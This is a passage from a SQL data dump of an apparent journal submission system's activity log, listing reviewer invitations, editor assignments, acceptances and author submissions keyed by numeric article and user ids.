article',8364,'Publisher',645),(84102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84168,'0000-00-00 00:00:00','Publisher : Notified Editor',8491,'Publisher',85),(84171,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8598,'Publisher',376),(84172,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8884,'Author',9920),(84173,'0000-00-00 00:00:00','Manuscript Submitted by Author',8885,'Author',4635),(84186,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8874,'Publisher',85),(84187,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8873,'Publisher',85),(84188,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8872,'Publisher',85),(84189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84192,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84193,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84194,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84195,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84196,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84197,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8873,'Publisher',85),(84200,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8885,'Publisher',274),(84275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84284,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84285,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8874,'Publisher',85),(84288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(84289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(84290,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(84291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8043,'Publisher',75),(84292,'0000-00-00 00:00:00','Reviewer has submitted comments',8848,'Reviewer',15586),(84293,'0000-00-00 00:00:00','Reviewer has submitted comments',8043,'Reviewer',11589),(84294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84295,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84301,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(84303,'0000-00-00 00:00:00','Publisher : Notified Editor',8043,'Publisher',75),(84304,'0000-00-00 00:00:00','Publisher : Notified Editor',8848,'Publisher',85),(84305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8846,'Publisher',75),(84306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8846,'Publisher',75),(84307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8846,'Publisher',75),(84308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8846,'Publisher',75),(84309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8846,'Publisher',75),(84310,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8848,'Editor',1251),(84311,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8848,'Editor',1251),(84312,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8043,'Editor',162),(84313,'0000-00-00 00:00:00','Publisher : Notified Author',8848,'Publisher',85),(84314,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8043,'Publisher',75),(84315,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8043,'Publisher',75),(84316,'0000-00-00 00:00:00','Reviewer has submitted comments',8836,'Reviewer',10963),(84318,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8873,'Editor',1291),(84319,'0000-00-00 00:00:00','Editor has Invited Reviewer',8873,'Editor',1291),(84320,'0000-00-00 00:00:00','Editor has Invited Reviewer',8873,'Editor',1291),(84321,'0000-00-00 00:00:00','Editor has Invited Reviewer',8873,'Editor',1291),(84322,'0000-00-00 00:00:00','Editor has Invited Reviewer',8873,'Editor',1291),(84325,'0000-00-00 00:00:00','Author sent Email',7314,'Author',8589),(84336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8863,'Publisher',48),(84337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8863,'Publisher',48),(84338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8863,'Publisher',48),(84339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8863,'Publisher',48),(84344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8838,'Publisher',274),(84390,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8742,'Publisher',85),(84399,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8898,'Publisher',248),(84411,'0000-00-00 00:00:00','Manuscript Updated',8514,'Publisher',645),(84414,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8320,'Publisher',673),(84415,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7978,'Publisher',673),(84433,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8588,'Publisher',85),(84434,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8588,'Publisher',85),(84435,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8491,'Editor',1574),(84436,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8491,'Editor',1574),(84437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(84453,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8902,'Author',9938),(84454,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8442,'Reviewer',17681),(84455,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8838,'Reviewer',17681),(84456,'0000-00-00 00:00:00','Manuscript has been Revised',8848,'Author',9890),(84532,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8752,'Publisher',988),(84533,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8796,'Publisher',988),(84534,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8864,'Publisher',988),(84535,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8884,'Publisher',988),(84536,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8884,'Editor',1410),(84537,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8864,'Editor',1410),(84538,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8796,'Editor',1410),(84539,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8752,'Editor',1410),(84540,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8353,'Editor',1410),(84541,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8098,'Editor',1410),(84542,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7880,'Editor',1410),(84544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(84554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84558,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84559,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8796,'Publisher',988),(84564,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84565,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84566,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84567,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84568,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84569,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8752,'Publisher',988),(84570,'0000-00-00 00:00:00','Publisher : Notified Editor',8848,'Publisher',85),(84571,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84572,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84573,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84574,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84575,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84576,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8353,'Publisher',988),(84577,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8898,'Publisher',248),(84581,'0000-00-00 00:00:00','Manuscript Submitted by Author',8911,'Author',9932),(84601,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8902,'Publisher',48),(84668,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8914,'Author',9953),(84680,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8917,'Author',9957),(84685,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8898,'Editor',1674),(84686,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8898,'Editor',1674),(84689,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8924,'Publisher',248),(84693,'0000-00-00 00:00:00','Author sent Email',8898,'Author',8589),(84701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8902,'Publisher',48),(84702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8902,'Publisher',48),(84703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8902,'Publisher',48),(84704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8902,'Publisher',48),(84720,'0000-00-00 00:00:00','Publisher : Notified Author',8491,'Publisher',85),(84788,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8932,'Publisher',319),(84789,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8933,'Publisher',319),(84795,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8914,'Publisher',84),(84803,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8939,'Publisher',319),(84804,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8940,'Publisher',319),(84809,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8911,'Publisher',248),(84824,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8592,'Editor',1574),(84825,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8592,'Editor',1574),(84826,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8592,'Publisher',85),(84829,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8592,'Publisher',85),(84832,'0000-00-00 00:00:00','Reviewer has submitted comments',8863,'Reviewer',5467),(84836,'0000-00-00 00:00:00','Manuscript Submitted by Author',8943,'Author',8175),(84848,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8945,'Publisher',248),(84884,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8885,'Publisher',274),(84885,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8837,'Editor',1594),(84886,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8837,'Editor',1594),(84887,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(84888,'0000-00-00 00:00:00','Publisher : Notified Author',8705,'Publisher',274),(84889,'0000-00-00 00:00:00','Publisher : Notified Author',8707,'Publisher',274),(84895,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8924,'Publisher',248),(84970,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8940,'Publisher',319),(84971,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8939,'Publisher',319),(84972,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8933,'Publisher',319),(84991,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8932,'Publisher',319),(84992,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8940,'Editor',1069),(84993,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8939,'Editor',1069),(84994,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8933,'Editor',1069),(84995,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8932,'Editor',1069),(84996,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8940,'Editor',1069),(84997,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8939,'Editor',1069),(84998,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8932,'Editor',1069),(84999,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8933,'Editor',1069),(85000,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8940,'Publisher',319),(85001,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8939,'Publisher',319),(85002,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8933,'Publisher',319),(85003,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8932,'Publisher',319),(85004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(85010,'0000-00-00 00:00:00','Publisher : Notified Editor',8594,'Publisher',85),(85011,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8594,'Editor',1675),(85012,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8594,'Editor',1675),(85013,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(85015,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8953,'Publisher',48),(85017,'0000-00-00 00:00:00','Publisher : Notified Editor',8593,'Publisher',85),(85018,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8593,'Editor',1574),(85019,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8593,'Editor',1574),(85020,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8593,'Publisher',85),(85021,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8593,'Publisher',85),(85022,'0000-00-00 00:00:00','Reviewer has submitted comments',8885,'Reviewer',12022),(85043,'0000-00-00 00:00:00','Publisher : Notified Editor',8885,'Publisher',274),(85065,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8917,'Publisher',84),(85083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8884,'Publisher',988),(85106,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8945,'Publisher',248),(85107,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8953,'Publisher',48),(85108,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8943,'Publisher',48),(85129,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8943,'Publisher',48),(85130,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8943,'Publisher',48),(85131,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8943,'Publisher',48),(85132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8943,'Publisher',48),(85134,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8240,'Publisher',673),(85137,'0000-00-00 00:00:00','Manuscript has been Revised',8705,'Author',9777),(85138,'0000-00-00 00:00:00','Author sent Email',8705,'Author',9777),(85140,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8917,'Editor',221),(85145,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85146,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85147,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85148,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85149,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85150,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85151,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85152,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85153,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85154,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85155,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85156,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85157,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85158,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85159,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85160,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85161,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85162,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85163,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85164,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85165,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85166,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85167,'0000-00-00 00:00:00','Editor has Invited Reviewer',8917,'Editor',221),(85304,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8999,'Publisher',248),(85320,'0000-00-00 00:00:00','Author sent Email',8076,'Author',9247),(85351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8953,'Publisher',48),(85352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8953,'Publisher',48),(85353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8953,'Publisher',48),(85354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8953,'Publisher',48),(85355,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8953,'Publisher',48),(85374,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8943,'Editor',194),(85375,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8943,'Editor',194),(85376,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8902,'Editor',194),(85377,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8863,'Editor',194),(85378,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8902,'Editor',194),(85379,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8863,'Editor',194),(85380,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8766,'Editor',194),(85381,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8766,'Editor',194),(85382,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8943,'Publisher',48),(85383,'0000-00-00 00:00:00','Manuscript has been Revised',8491,'Author',9619),(85384,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9013,'Publisher',48),(85398,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8885,'Editor',1663),(85399,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8885,'Editor',1663),(85400,'0000-00-00 00:00:00','Publisher : Notified Author',8885,'Publisher',274),(85412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8074,'Publisher',75),(85413,'0000-00-00 00:00:00','Reviewer has submitted comments',8074,'Reviewer',13225),(85414,'0000-00-00 00:00:00','Publisher : Notified Editor',8074,'Publisher',75),(85415,'0000-00-00 00:00:00','Publisher : Notified Editor',8074,'Publisher',75),(85416,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8545,'Editor',161),(85417,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8638,'Editor',161),(85418,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8074,'Editor',161),(85419,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8074,'Publisher',75),(85450,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9022,'Publisher',248),(85466,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9013,'Publisher',48),(85484,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8848,'Editor',1251),(85485,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8999,'Publisher',248),(85506,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8521,'Publisher',673),(85508,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9031,'Author',10044),(85619,'0000-00-00 00:00:00','Manuscript Submitted by Author',9034,'Author',6950),(85759,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8848,'Publisher',85),(85760,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8848,'Publisher',85),(85778,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9057,'Author',10058),(85780,'0000-00-00 00:00:00','Publisher : Notified Editor',8491,'Publisher',85),(85804,'0000-00-00 00:00:00','Publisher : Notified Author',8707,'Publisher',274),(85805,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(85808,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9068,'Publisher',48),(85832,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9031,'Publisher',75),(85833,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9057,'Publisher',75),(85841,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9022,'Publisher',248),(85855,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8911,'Editor',1674),(85856,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8911,'Editor',1674),(85857,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8924,'Editor',1674),(85859,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8924,'Editor',1674),(85860,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8945,'Editor',1674),(85861,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8945,'Editor',1674),(85862,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8999,'Editor',1674),(85863,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8999,'Editor',1674),(85864,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9022,'Editor',1674),(85865,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9022,'Editor',1674),(85867,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8043,'Publisher',75),(85872,'0000-00-00 00:00:00','Author sent Email',8943,'Author',8175),(85873,'0000-00-00 00:00:00','Author sent Email',8634,'Author',9720),(85938,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9068,'Publisher',48),(85939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9068,'Publisher',48),(85940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9068,'Publisher',48),(85941,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9068,'Publisher',48),(85942,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9068,'Publisher',48),(85943,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9013,'Publisher',48),(85944,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9013,'Publisher',48),(85945,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9013,'Publisher',48),(85946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9013,'Publisher',48),(85947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9013,'Publisher',48),(85958,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9081,'Author',10075),(85964,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8491,'Editor',1574),(85965,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8491,'Publisher',85),(85966,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8491,'Publisher',85),(85979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85981,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85982,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85983,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85984,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85985,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85986,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85987,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85989,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85990,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85991,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85992,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85993,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85994,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85997,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(85998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8584,'Publisher',376),(86001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8671,'Publisher',376),(86048,'0000-00-00 00:00:00','Reviewer has submitted comments',8902,'Reviewer',11689),(86050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(86051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(86052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(86053,'0000-00-00 00:00:00','Publisher has Invited 